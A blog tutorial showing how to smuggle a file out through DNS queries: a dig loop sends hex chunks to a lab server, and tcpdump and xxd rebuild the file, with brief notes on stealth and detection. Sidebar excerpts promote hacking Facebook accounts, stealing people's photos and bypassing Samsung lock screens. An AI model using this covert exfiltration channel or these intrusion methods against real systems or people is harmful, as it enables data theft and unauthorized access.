Skip to main content

File transfer via DNS


Description
You guys already know DNS encapsulation (e.g. dns2tcp) to transfer data over DNS but I've found a very interesting post from Johannes Ullrich who introduces a relatively stealthy concept (https://isc.sans.edu/diary/Packet+Tricks+with+xxd/10306) to transfer data via DNS requests. It consists of sending hex parts of a file as part of DNS requests on one side and to capture and split these DNS requests on the other side. No specific tool is required but tcpdump and xxd.
Environment
Client: 192.168.1.29
Server: 192.168.1.23, running bind9 DNS server
Demo
Encode file
On the client side, prepare a plain text file:
client$ cat > loremipsum.txt << EOF
> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
> tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
> quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
> consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
> cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat
> non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
> EOF
Then, encode your file in Hex:
client$ xxd -p loremipsum.txt > loremipsum.hex
Transfer file
On the server, start a tcpdump probe that will capture all DNS requests from your client:
server$ sudo tcpdump -i eth1 -s0 -w loremipsum.pcap 'port 53 and host 192.168.1.29'
On the client, send each line as a fake DNS request:
client$ for b in `cat loremipsum.hex`; do dig @192.168.1.23 $b.fakednsrequest.com; done
Once all requests have been requested by the client, stop the capture. Here is how the requests look like:
server$ tcpdump -n -r loremipsum.pcap 'host 192.168.1.29 and host 192.168.1.23' | grep fakednsrequest
12:08:58.329214 IP 192.168.1.29.54172 > 192.168.1.23.53: 39667+ A? 4c6f72656d20697073756d20646f6c6f722073697420616d65742c20636f.fakednsrequest.com. (97)
12:08:59.348640 IP 192.168.1.29.54251 > 192.168.1.23.53: 45714+ A? 6e7365637465747572206164697069736963696e6720656c69742c207365.fakednsrequest.com. (97)
12:08:59.435167 IP 192.168.1.29.61604 > 192.168.1.23.53: 65328+ A? 6420646f20656975736d6f640a74656d706f7220696e6369646964756e74.fakednsrequest.com. (97)
12:08:59.638909 IP 192.168.1.29.60176 > 192.168.1.23.53: 33114+ A? 207574206c61626f726520657420646f6c6f7265206d61676e6120616c69.fakednsrequest.com. (97)
12:08:59.715597 IP 192.168.1.29.53987 > 192.168.1.23.53: 24783+ A? 7175612e20557420656e696d206164206d696e696d2076656e69616d2c0a.fakednsrequest.com. (97)
12:08:59.766398 IP 192.168.1.29.53719 > 192.168.1.23.53: 4470+ A? 71756973206e6f737472756420657865726369746174696f6e20756c6c61.fakednsrequest.com. (97)
12:09:00.632051 IP 192.168.1.29.52365 > 192.168.1.23.53: 61980+ A? 6d636f206c61626f726973206e69736920757420616c6971756970206578.fakednsrequest.com. (97)
12:09:00.709879 IP 192.168.1.29.51128 > 192.168.1.23.53: 53988+ A? 20656120636f6d6d6f646f0a636f6e7365717561742e2044756973206175.fakednsrequest.com. (97)
12:09:00.755917 IP 192.168.1.29.59786 > 192.168.1.23.53: 30998+ A? 746520697275726520646f6c6f7220696e20726570726568656e64657269.fakednsrequest.com. (97)
12:09:00.816321 IP 192.168.1.29.61625 > 192.168.1.23.53: 46229+ A? 7420696e20766f6c7570746174652076656c697420657373650a63696c6c.fakednsrequest.com. (97)
12:09:00.862252 IP 192.168.1.29.63196 > 192.168.1.23.53: 27593+ A? 756d20646f6c6f726520657520667567696174206e756c6c612070617269.fakednsrequest.com. (97)
12:09:00.918015 IP 192.168.1.29.52375 > 192.168.1.23.53: 42492+ A? 617475722e204578636570746575722073696e74206f6363616563617420.fakednsrequest.com. (97)
12:09:01.057845 IP 192.168.1.29.55582 > 192.168.1.23.53: 44245+ A? 6375706964617461740a6e6f6e2070726f6964656e742c2073756e742069.fakednsrequest.com. (97)
12:09:01.105330 IP 192.168.1.29.56880 > 192.168.1.23.53: 17982+ A? 6e2063756c706120717569206f666669636961206465736572756e74206d.fakednsrequest.com. (97)
12:09:01.162269 IP 192.168.1.29.59910 > 192.168.1.23.53: 19163+ A? 6f6c6c697420616e696d20696420657374206c61626f72756d2e0a.fakednsrequest.com. (91)
Decode file
Use a combination of cut commands to extract the hex part:
server$ tcpdump -n -r loremipsum.pcap 'host 192.168.1.29 and host 192.168.1.23' | grep fakednsrequest \
| cut -d ' ' -f 8 | cut -d '.' -f 1 | uniq > loremipsum.hex
Now let's decode our file:
$ xxd -r -p < loremipsum.hex
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo
consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse
cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat
non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
Limitations
This method is relatively stealthy because:
<![if !supportLists]>·         <![endif]>there is no encapsulation of the data;
<![if !supportLists]>·         <![endif]>DNS requests seem legitimate.
However:
<![if !supportLists]>·         <![endif]>the content to transfer is twice the size of the initial file;
<![if !supportLists]>·         <![endif]>it can become relatively visible because the frequency of the requests can become suspicious;
<![if !supportLists]>·         <![endif]>depending on the size of the file to transfer, it can take a significant amount of time;
<![if !supportLists]>·         <![endif]>unless the file is encrypted before being hex'ed, one could intercept the requests and rebuild the file;
<![if !supportLists]>·         <![endif]>Big file transfers can result in corrupted files (UDP).
As a matter of fact, the transfer of an initial 15K file (an image) will require 500 DNS requests
$ ls -lh aldeid.png
-rw-r--r--@ 1 sebastiendamaye  staff    15K 16 fév 12:38 aldeid.png
$ xxd -p aldeid.png | wc -l
    501
and an initial 23M file will require 792K+ requests:
$ ls -lh tintin.*
-rw-r--r--  1 sebastiendamaye  staff    46M 16 fév 13:00 tintin.hex
-rw-r--r--@ 1 sebastiendamaye  staff    23M 16 fév 13:00 tintin.pdf
$ wc -l tintin.hex
  792903 tintin.hex
Detection
Though it could be possible to identify such traffic with Snort rules, the most obvious way in this case relies on a trend analysis (i.e. ntop) to identify anomalies:

Comments

Popular posts from this blog

How to Hack a Website in Four Easy Steps

Every wondered how Anonymous and other hacktivists manage to steal the data or crash the servers of websites belonging to some of the world biggest organisations? Thanks to freely available online tools, hacking is no long the  preserve of geeks , so we've decided to show you how easy it is to do, in just four easy steps. Step 1: Identify your target While  Anonymous  and other online hacktivists may choose their targets in order to protest against perceived wrong-doing, for a beginner wanting to get the taste of success with their first hack, the best thing to do is to identify a any website which has a vulnerability. Recently a hacker posted a list of 5,000 websites online which were vulnerable to attack. How did he/she identify these websites? Well, the key to creating a list of websites which are likely to be more open to attack, is to carry out a search for what is called a Google Dork. Google Dorking , also known as Google Hacking, enables you find sen

How to Hack Facebook Password in 5 Ways

Check out the following post from  fonelovetz blog  on facebook account hacking. This is one of the most popular questions which I'm asked via my email.And today I'm going to solve this problem one it for all.Even though i have already written a few ways of hacking a facebook password.Looks like i got to tidy up the the stuff here.The first thing i want to tell is.You can not hack or crack a facebook password by a click of a button.That's totally impossible and if you find such tools on the internet then please don't waste your time by looking at them! They are all fake.Ok now let me tell you how to hack a facebook account. I'll be telling you 5 of the basic ways in which a beginner hacker would hack.They are: 1.Social Engineering 2.Keylogging 3.Reverting Password / Password Recovery Through Primary Email 4.Facebook Phishing Page/ Softwares 5.Stealers/RATS/Trojans I'll explain each of these one by one in brief.If you want to know more about them just

How to Hack Someone's Cell Phone to Steal Their Pictures

Do you ever wonder how all these celebrities continue to have their private photos spread all over the internet? While celebrities' phones and computers are forever vulnerable to attacks, the common folk must also be wary. No matter how careful you think you were went you sent those "candid" photos to your ex, with a little effort and access to public information, your pictures can be snagged, too. Here's how. Cloud Storage Apple's iCloud service provides a hassle free way to store and transfer photos and other media across multiple devices. While the commercial exemplifies the G-rated community of iPhone users, there are a bunch of non-soccer moms that use their iPhones in a more..."free spirited" mindset. With Photo Stream enabled (requires OS X Lion or later, iOS 5 or later), pictures taken on your iPhone go to directly to your computer and/or tablet, all while being stored in the cloud. If you think the cloud is safe, just ask Gizmodo

How to Hack Samsung Phone Screen Lock

I have discovered  another  security flaw in Samsung Android phones. It is possible to completely disable the lock screen and get access to any app - even when the phone is "securely" locked with a pattern, PIN, password, or face detection. Unlike another recently released flaw, this doesn't rely quite so heavily on ultra-precise timing. Video . Of course, if you are unable to download a screen unlocker, this security vulnerability still allows you to  dial any phone number and run any app ! HOWTO From the lock screen, hit the emergency call button. Dial a non-existent emergency services number - e.g. 0. Press the green dial icon. Dismiss the error message. Press the phone's back button. The app's screen will be briefly displayed. This is just about long enough to interact with the app. Using this, you can run and interact with any app / widget / settings menu. You can also use this to launch the dialler. From there, you can dial any phone